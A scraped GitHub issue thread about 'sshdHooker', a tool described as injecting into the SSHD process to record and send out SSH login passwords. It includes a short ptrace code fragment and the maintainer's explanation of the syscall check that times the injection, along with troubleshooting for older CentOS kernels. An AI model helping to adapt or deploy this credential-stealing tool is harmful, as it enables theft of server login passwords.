9bie / sshdHooker

One-click injection into the SSHD process to record and send the password for ssh login

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

What is this 257? In kernel-2.6.32 will not return 257.

laobulang opened this issue · comments

Hello, I hope to get help, I have a problem with the test under centos6.10, kernel 2.6.32

num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
if(num ==257){

What is this 257? In kernel-2.6.32 will not return 257.
How much should be returned in kernel-2.6.32?

commented

The value of the system call number of openat is 257. Some ancient systems use the open call, and its value is 2, so there will be two values ​​​​of 257 and 2 in the project.
The function of this value is to determine whether the sshd process has opened the flag file to determine whether it is time to inject

Hello, I changed to 2 and it still can’t work normally, do you have time to debug?
Unable to reach if(strstr(path,libsystemd)){, centos6.10 will not load login.defs when logging in, but I changed it to libpam.so, although it will arrive, it still fails

centos6.10 don't use openat for openssh